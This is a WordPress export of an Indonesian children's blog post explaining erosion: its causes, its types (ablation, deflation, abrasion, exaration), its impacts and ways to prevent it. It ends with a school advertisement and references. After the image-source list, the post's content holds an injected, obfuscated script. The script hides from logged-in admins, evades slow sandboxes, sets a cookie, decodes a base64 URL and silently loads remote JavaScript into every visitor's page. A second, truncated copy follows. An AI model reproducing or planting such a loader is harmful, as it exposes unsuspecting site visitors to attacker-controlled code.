{"id":741,"date":"2025-08-13T09:00:22","date_gmt":"2025-08-13T02:00:22","guid":{"rendered":"https:\/\/www.altaschool.id\/blog\/?p=741"},"modified":"2026-01-20T06:25:13","modified_gmt":"2026-01-19T23:25:13","slug":"apa-itu-erosi","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi","title":{"rendered":"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png\" alt=\"erosi\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><del><span style=\"font-weight: 400;\">Emosi<\/span><\/del><span style=\"font-weight: 400;\"> Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!\u00a0<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">&#8212;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Halo adik-adik! Kamu pernah dengar tentang hutan yang gundul, ga? Atau, kamu pernah lihat pembangunan jalan di daerah tempat tinggalmu? Nah, sebenarnya penggundulan hutan dan pembangunan jalan merupakan salah satu dari aktivitas manusia yang memperparah terjadinya erosi.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Namun, kamu perlu tahu juga nih, kalau erosi sebenarnya merupakan proses alamiah yang terjadi di bumi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berarti, erosi tuh apa sih?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Makannya, yuk kita belajar tentang erosi supaya kamu makin paham lagi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Erosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau menurut Kamus Besar Bahasa Indonesia, erosi dapat diartikan sebagai pengikisan permukaan bumi oleh tenaga yang melibatkan pengangkatan benda-benda, seperti air mengalir, es, angin, dan gelombang atau arus.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><i><span style=\"font-weight: 400;\">Duh<\/span><\/i><span style=\"font-weight: 400;\">, panjang banget ya? Oke, kakak coba rangkum. Singkatnya, <\/span><strong>erosi adalah proses hilangnya lapisan permukaan tanah ataupun batuan yang disebabkan oleh pergerakan air atau angin<\/strong><span style=\"font-weight: 400;\">. Erosi berasal dari bahasa Latin, <\/span><i><span style=\"font-weight: 400;\">erosionem<\/span><\/i><span style=\"font-weight: 400;\"> yang artinya menggerogoti.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, biasanya, tanah yang digunakan untuk menanam hasil pertanian dapat mengalami erosi yang lebih besar daripada tanah hutan. Kenapa? Karena, kalau kita perhatikan nih, hutan itu kan pohonnya besar-besar ya. Otomatis akarnya juga kuat sehingga dapat mengikat tanah. Sementara, tanaman pertanian seperti padi memiliki akar yang lebih lemah, yang akhirnya mengakibatkan erosi lebih mudah terjadi.<\/span><\/p>\n<p style=\"text-align: justify;\"><i><span style=\"font-weight: 400;\">Lho<\/span><\/i><span style=\"font-weight: 400;\">, terus, kok erosi bisa terjadi? Oke, kakak akan jelaskan tentang apa aja sih penyebab dari erosi?\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/fotosintesis\">Fotosintesis: Pengertian, Faktor, Tempat Terjadi, &amp; Hasilnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Penyebab Erosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Adik-adik, erosi bisa terjadi karena disebabkan oleh beberapa faktor. Ada faktor iklim, topografi, vegetasi, jenis tanah, dan manusia. Kakak coba jelaskan dengan lebih rinci, ya!<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Iklim<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><strong>Iklim<\/strong> <i><span style=\"font-weight: 400;\">tuh <\/span><\/i><span style=\"font-weight: 400;\">faktor yang berperan penting banget dalam erosi. Soalnya, iklim berperan sebagai penghancur dan pembawa bagian tanah atau batuan ke tempat lain. Coba kamu tebak, kira-kira iklim apa yang paling mempengaruhi erosi? Ada yang jawab hujan? <\/span><i><span style=\"font-weight: 400;\">Yes! <\/span><\/i><span style=\"font-weight: 400;\">Jadi <\/span><i><span style=\"font-weight: 400;\">nih<\/span><\/i><span style=\"font-weight: 400;\">, <\/span><strong>curah hujan<\/strong> <span style=\"font-weight: 400;\">yang terjadi secara banyak dan terus-menerus akan membuat partikel tanah atau batuan pecah. Selain hujan, <\/span><strong>angin<\/strong> <span style=\"font-weight: 400;\">juga menjadi salah satu penyebab terkikisnya bagian tanah atau batuan secara perlahan. Misalnya <\/span><i><span style=\"font-weight: 400;\">kayak <\/span><\/i><span style=\"font-weight: 400;\">di gurun yang punya tanah sangat lapang dan anginnya yang cukup kencang.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Topografi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kamu asing ga sama istilah topografi? Jadi,<\/span> <strong>topografi adalah tinggi rendahnya permukaan bumi<\/strong> <span style=\"font-weight: 400;\">yang biasanya berkaitan dengan <\/span><strong>lereng<\/strong><span style=\"font-weight: 400;\">. Nah, lereng ini <\/span><i><span style=\"font-weight: 400;\">kan <\/span><\/i><span style=\"font-weight: 400;\">bentuknya miring. Ternyata, kemiringan lereng menjadi penentu kecepatan aliran air yang mengikis permukaan tanah. Jadi, semakin lerengnya miring, semakin cepat juga air mengalir, dan otomatis proses erosinya pun semakin cepat terjadi.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Vegetasi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Singkatnya, <\/span><strong>vegetasi<\/strong> <span style=\"font-weight: 400;\">itu penutup lahan atau <\/span><strong>tanaman<\/strong><span style=\"font-weight: 400;\"> yang<\/span> <strong>tumbuh di atas permukaan tanah<\/strong><span style=\"font-weight: 400;\">. Misalnya, pohon-pohon yang tumbuh di hutan atau rumput yang tumbuh di atas tanah. Intinya, semakin lebat dan banyak vegetasi yang tumbuh di atas tanah, maka akan mengurangi erosi yang terjadi. Soalnya, tanaman tersebut bisa menahan air hujan yang jatuh ke permukaan tanah yang berpotensi mengerosi permukaan tanah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Jenis Tanah<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jenis tanah terbagi jadi 3 nih, adik-adik. Ada <\/span><strong>tekstur, kemantapan tanah, dan permeabilitas<\/strong><span style=\"font-weight: 400;\"><strong>.<\/strong> Kakak bahas satu-satu ya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pertama ada <\/span><strong>tekstur<\/strong><b>. <\/b><span style=\"font-weight: 400;\">Tekstur<\/span> <span style=\"font-weight: 400;\">tanah tuh macem-macem. Kalau tekstur tanahnya kasar dan butirannya besar-besar, akan sulit tererosi. Kalau tekstur tanahnya halus seperti tanah liat, juga sulit tererosi karena daya rekatnya tinggi. Tapi, kalau<\/span> <strong>tekstur tanahnya berdebu dan berpasir halus<\/strong><span style=\"font-weight: 400;\">, gampang <\/span><i><span style=\"font-weight: 400;\">banget <\/span><\/i><span style=\"font-weight: 400;\">tererosinya.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Lanjut nih. Kalau <\/span><strong>kemantapan tanah<\/strong><span style=\"font-weight: 400;\">, hubungannya sama struktur. Nah, tanah yang membulat atau granular termasuk yang strukturnya mantap karena tahan dengan pukulan erosi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terakhir ada <\/span><strong>permeabilitas<\/strong><span style=\"font-weight: 400;\"> atau bahasa gampangnya <\/span><strong>daya resap tanah<\/strong><span style=\"font-weight: 400;\">. Kalau tanah tersebut punya daya serap yang bagus, air yang masuk ke tanah akan banyak. Tapi, kalau <\/span><strong>daya serapnya jelek<\/strong><span style=\"font-weight: 400;\">, berarti airnya kan jadi <\/span><i><span style=\"font-weight: 400;\">ngambang tuh <\/span><\/i><span style=\"font-weight: 400;\">ya, hal ini nih yang membuat erosi gampang terjadi.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><i><span style=\"font-weight: 400;\">Eits<\/span><\/i><span style=\"font-weight: 400;\">, masih ada satu penyebab lagi. Yaitu, kita, <\/span><i><span style=\"font-weight: 400;\">guys<\/span><\/i><span style=\"font-weight: 400;\">! Manusia! Hupft \ud83d\ude41 Gimana ceritanya manusia bisa menyebabkan erosi?? <\/span><i><span style=\"font-weight: 400;\">Dah <\/span><\/i><span style=\"font-weight: 400;\">yuk disimak aja.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>5. Manusia<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sebenernya, <strong>ngg<\/strong><\/span><strong>ak semua manusia <\/strong><span style=\"font-weight: 400;\">menyebabkan dan memperparah terjadinya erosi, ya! (Semoga kita ga termasuk di dalamnya). Biasanya, manusia yang membabat habis hutan yang lerengnya miring bisa memperparah erosi. Akibatnya bisa sampai menimbulkan bencana tanah longsor loh, adik-adik. Maka dari itu, sebagai manusia, kita harus bijak dengan menyayangi alam kita yang indah ini.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, setelah kamu mempelajari tentang penyebab erosi, kamu juga perlu tahu nih, kalau erosi punya beberapa jenis. Wah, ada apa aja <\/span><i><span style=\"font-weight: 400;\">tuh<\/span><\/i><span style=\"font-weight: 400;\"> jenis-jenis erosi?<\/span><span style=\"font-weight: 400;\">\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Erosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Secara garis besar, jenis erosi dibagi berdasarkan tenaga pengikisnya. Ada erosi yang disebabkan oleh air, angin, laut, dan es. Markibas! Mari kita bahas!<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Erosi oleh Air (Ablasi)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ablasi otomatis disebabkan oleh air, dong yaa. Ya masa disebabkan oleh Naruto? :\u201d) Biasanya, ablasi terjadi karena curah hujan yang tinggi. Ablasi ini dibagi lagi jadi beberapa jenis, adik-adik. Ini dia nih beberapa jenis ablasi:<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>a. Erosi Percik<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ingat aja. Percik. Berarti, erosi ini terjadi karena adanya percikan air hujan yang menyebabkan terkelupasnya partikel-partikel tanah.\u00a0<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>b. Erosi Lembar<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Erosi lembar terjadinya di daerah lereng yang dikombinasikan dengan air hujan dan aliran permukaan.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>c. Erosi Alur<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kamu ingat aja parit-parit kecil yang membentuk alur. Nah, erosi alur ini mengangkut partikel-partikel tanah oleh aliran air yang mengalir di permukaan tanah, dan membentuk parit-parit kecil (alur). Biasanya si parit-parit kecil ini lebarnya ga sampai 40 cm dan kedalamannya kurang dari 30 cm.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>d. Erosi Parit<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau erosi alur <\/span><i><span style=\"font-weight: 400;\">kan<\/span><\/i><span style=\"font-weight: 400;\"> paritnya kecil, nah kalau erosi parit, prosesnya sama aja seperti erosi alur. Bedanya lebar paritnya lebih besar, yaitu lebih dari 40 cm dan kedalamannya lebih dari 30 cm.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/bagian-bagian-tumbuhan-dan-fungsinya\">Apa Saja Bagian-Bagian Tumbuhan dan Fungsinya?<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Erosi oleh Angin<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mirip seperti ablasi, erosi oleh angin ini juga ada pembagiannya, adik-adik. Ada deflasi dan korosi. Ini dia penjelasan lengkapnya:<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>a. Deflasi<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Deflasi itu erosi yang murni terjadi karena embusan angin yang langsung mengenai permukaan tanah atau batuan.\u00a0<\/span><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><b>b. Korosi<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Korosi juga disebabkan oleh angin. Bedanya, angin pada korosi ini membawa butiran-butiran pasir yang menghantam tanah atau batuan.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Erosi oleh Gelombang Laut (Abrasi)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kamu pernah berkunjung atau liat foto-foto Nusa Penida, Bali kah? Coba deh, kamu <\/span><i><span style=\"font-weight: 400;\">googling <\/span><\/i><span style=\"font-weight: 400;\">Nusa Penida, yang keluar biasanya gambar tebing pantai. Nah, tebing pantai ini merupakan salah satu hasil dari erosi yang disebabkan oleh abrasi atau <\/span><strong>terjangan gelombang air laut.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Erosi oleh Es (Eksarasi)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jenis erosi yang terakhir ada eksarasi atau erosi oleh es. Eksarasi disebabkan oleh <\/span><strong>pencairan massa es<\/strong><span style=\"font-weight: 400;\"> yang bergerak menuruni lereng pegunungan. Hasilnya bisa berupa <\/span><i><span style=\"font-weight: 400;\">fyord<\/span><\/i><span style=\"font-weight: 400;\"> atau pantai yang berlereng curam dan berkelok-kelok akibat penenggelaman lembah glasial. Kalo di Indonesia agak sulit sih ini ditemukan. Coba deh kamu nonton film <\/span><i><span style=\"font-weight: 400;\">The Chronicles of Narnia; The Lion, The Witch, and The Wardrobe<\/span><\/i><span style=\"font-weight: 400;\">. Waktu Lucy dan Peter lagi dikejar-kejar serigala, mereka sempat mengapung di bongkahan es kann. Nah, kurang lebih penggambarannya seperti itu.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Wah, jenis erosi cukup banyak juga ya. <\/span><i><span style=\"font-weight: 400;\">Hmm<\/span><\/i><span style=\"font-weight: 400;\">, tapi, kira-kira erosi tuh berdampak pada apa aja sih? Penasaran aja atau penasaran banget? Xixixi, udah lahh ga usah malu-malu buat lanjutin baca~<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Dampak Erosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, dari tadi kamu udah belajar nih tentang pengertian, penyebab erosi, sampai jenis-jenis erosi. Berarti, kamu juga udah tau kalo erosi membuat lapisan permukaan tanah bagian atas jadi berkurang atau menipis. Berkurangnya permukaan tanah ini ternyata berdampak pada penurunan kemampuan lahan, atau istilah lainnya adalah <\/span><strong>degradasi lahan<\/strong><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain itu, erosi juga berdampak pada <\/span><strong>penurunan<\/strong><span style=\"font-weight: 400;\"> kemampuan tanah terhadap <\/span><strong>resapan air<\/strong><span style=\"font-weight: 400;\">. Akibatnya, ketika tanah menampung limpahan air dan tidak bisa terserap dengan baik, maka akan terjadi banjir.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terakhir, jika partikel-partikel tanah tadi sudah terbawa air atau angin akibat erosi, maka<\/span> <strong>lapisan tanah yang subur dan baik akan hilang<\/strong><span style=\"font-weight: 400;\">. Akibatnya, tanah yang sudah tererosi akan menghambat pertumbuhan tanaman.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berarti, dampak erosi ga main-main ya. Tapi tenang, adik-adik. Kakak punya beberapa cara ampuh untuk mencegah terjadinya erosi. Ada apa aja tuhh?<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Cara Mencegah Erosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Erosi <\/span><i><span style=\"font-weight: 400;\">kan <\/span><\/i><span style=\"font-weight: 400;\">erat banget kaitannya sama permukaan tanah, <\/span><i><span style=\"font-weight: 400;\">nih<\/span><\/i><span style=\"font-weight: 400;\">. Jadi, cara-cara yang digunakan untuk mencegah terjadinya erosi pasti berkaitan juga sama tanah. Mulai dari <\/span><strong>konservasi tanah, terasering, <i>contour farming<\/i>, dan reboisasi<\/strong><span style=\"font-weight: 400;\">. Tak usah berlama-lama, yuk langsung aja kita pelajari bersama~<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Konservasi Tanah<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"size-medium aligncenter\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/27e9de66-f208-42d8-9156-85bd42bf8dc5.png\" alt=\"konservasi tanah\" \/><\/p>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">Konservasi Tanah Vegetatif (Sumber: Ruangbelajar)<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Cara pertama mencegah erosi adalah dengan melakukan konservasi tanah. Maksudnya gimana <\/span><i><span style=\"font-weight: 400;\">tuh<\/span><\/i><span style=\"font-weight: 400;\">? Singkatnya, konservasi itu memelihara dan melindungi sesuatu secara teratur untuk mencegah kerusakan. Berarti, konservasi tanah adalah <\/span><strong>memelihara dan melindungi tanah<\/strong><span style=\"font-weight: 400;\"> dengan pemilihan vegetasi yang tepat.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/ciri-ciri-makhluk-hidup\">Pengertian Makhluk Hidup dan 9 Ciri-cirinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Terasering<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"size-medium aligncenter\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/c5604b52-72ea-4cc5-905d-35c86fbc96e4.png\" alt=\"terasering\" \/><\/p>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">Terasering (Sumber: Ruangbelajar)<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalo kamu lagi jalan-jalan ke daerah Puncak atau Bandung, Jawa Barat atau daerah dataran tinggi lainnya, hampir pasti kamu akan menemui terasering. Jadi, sistem terasering merupakan <\/span><strong>lahan miring yang dibuat bertingkat-tingkat<\/strong> <span style=\"font-weight: 400;\">untuk pertanian. Dalam terasering, air hujan yang jatuh tidak langsung mengalir ke bawah, melainkan akan terhambat oleh tanaman yang tumbuh di sepanjang lahan terasering ini. Akibat baiknya, tanah jadi sangat sulit untuk terkikis atau tererosi.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Contour Farming<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"size-medium aligncenter\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/b8c267b4-4244-476a-b661-7df2eb16b44b.png\" alt=\"contour farming\" \/><\/p>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">Contour Farming (Sumber: Ruangbelajar)<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain konservasi tanah dan terasering, <\/span><i><span style=\"font-weight: 400;\">contour farming <\/span><\/i><span style=\"font-weight: 400;\">juga dapat mencegah erosi karena <\/span><strong>tanaman yang ditanam menyesuaikan dengan garis kontur<\/strong> <span style=\"font-weight: 400;\">suatu permukaan tanah. Teknik ini akan membuat akar tanaman lebih kuat, sehingga dapat menahan tanah dari erosi saat hujan deras terjadi.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. Reboisasi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"size-medium aligncenter\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/42887a0e-1e93-4ebe-81ac-3f1153e1b604.jpg\" alt=\"reboisasi\" \/><\/p>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">Reboisasi (Sumber: Ruangbelajar)<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Cara pencegahan terakhir adalah <\/span><strong>reboisasi atau penghijauan<\/strong><span style=\"font-weight: 400;\">. Dalam hal ini, penghijauan yang dimaksud adalah <\/span><strong>menanam kembali hutan-hutan yang telah gundul<\/strong><span style=\"font-weight: 400;\">. Memang sih, cara ini membutuhkan waktu yang cukup lama untuk kembali menumbuhkan pohon. Tapi coba bayangkan 15 sampai 20 tahun lagi ketika pohon-pohon yang ditanami ulang sudah tumbuh tinggi dan rimbun. Wah, kita akan bersyukur <\/span><i><span style=\"font-weight: 400;\">banget <\/span><\/i><span style=\"font-weight: 400;\">karena melakukan tindakan pencegahan erosi dari jauh-jauh hari.\u00a0<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mantap, udah cukup panjang juga nih pembahasan tentang erosi. Semoga kamu sudah paham ya. Kakak cukupkan pembahasannya sampai sini dulu. Tapi, kamu juga bisa banget <\/span><i><span style=\"font-weight: 400;\">lho<\/span><\/i><span style=\"font-weight: 400;\"> belajar lebih banyak tentang Sains, Matematika, dan pelajarannya lainnya bersama\u00a0 <\/span><span style=\"font-weight: 400;\">guru terbaik di <\/span><strong><a href=\"https:\/\/www.altaschool.id\/?referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520\" target=\"_blank\" rel=\"noopener\">Alta Global School.<\/a><\/strong>\u00a0Sebagai sekolah blended learning pertama di Indonesia dari PAUD hingga SMA, Alta Global School berkomitmen mempersiapkan 100% siswa kami meraih beasiswa dan diterima di universitas ternama di dalam dan luar negeri.<\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><b>Referensi:<\/b><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Dinamika Litosfer: Eksogen [luring]. Modul Kilat UTBK, Ruangguru. Tautan daring: <\/span><span style=\"font-weight: 400;\">https:\/\/docs.google.com\/document\/d\/1V4bLTYy1oX-csHfNiYAn73fBfuP_gA7MOUJYrA4ZCwA\/edit<\/span><span style=\"font-weight: 400;\"> (Diakses: 3 Agustus 2023)<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Pengertian Erosi: Faktor Penyebab, Dampak, dan Cara Pencegahannya [daring]. Tautan: <\/span><span style=\"font-weight: 400;\">https:\/\/www.gramedia.com\/literasi\/pengertian-erosi\/#Dampak_Erosi<\/span><span style=\"font-weight: 400;\"> (Diakses: 3 Agustus 2023)<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Video Ruang Belajar. Faktor-Faktor Memengaruhi Erosi. [daring]. Tautan: <\/span><span style=\"font-weight: 400;\">https:\/\/docs.google.com\/document\/d\/1ejSzKVEUnDpc0vyo6cMF4b1y3g9-_J-F8JKubIAiIAk\/edit<\/span><span style=\"font-weight: 400;\"> (Diakses: 3 Agustus 2023)<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Apa Itu Erosi: Definisi, Penyebab, Dampak &amp; Macam-macam Jenisnya <\/span><span style=\"font-weight: 400;\">[daring]. Tautan: <\/span><span style=\"font-weight: 400;\">https:\/\/tirto.id\/f8FF<\/span><span style=\"font-weight: 400;\"> (Diakses: 3 Agustus\u00a0 2023)<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Pendugaan Erosi Lahan Berbasis Aplikasi WEPP (Water Erosion Prediction Project) di Kecamatan Pujon, Kabupaten Malang [tesis, daring] Tautan: <\/span><span style=\"font-weight: 400;\">https:\/\/eprints.umm.ac.id\/35872\/3\/jiptummpp-gdl-yogaekopra-48766-3-babii.pdf<\/span><span style=\"font-weight: 400;\"> (Diakses: 3 Agustus\u00a0 2023)<\/span><\/p>\n<p style=\"text-align: justify;\"><b>Sumber Gambar:<\/b><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Konservasi Tanah Vegetatif. Sumber: video ruangbelajar.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terasering. Sumber: video ruangbelajar.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Contour Farming. Sumber: video ruangbelajar.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Reboisasi. Sumber: video ruangbelajar.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">(Diakses 23 Agustus 2023)<\/span><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 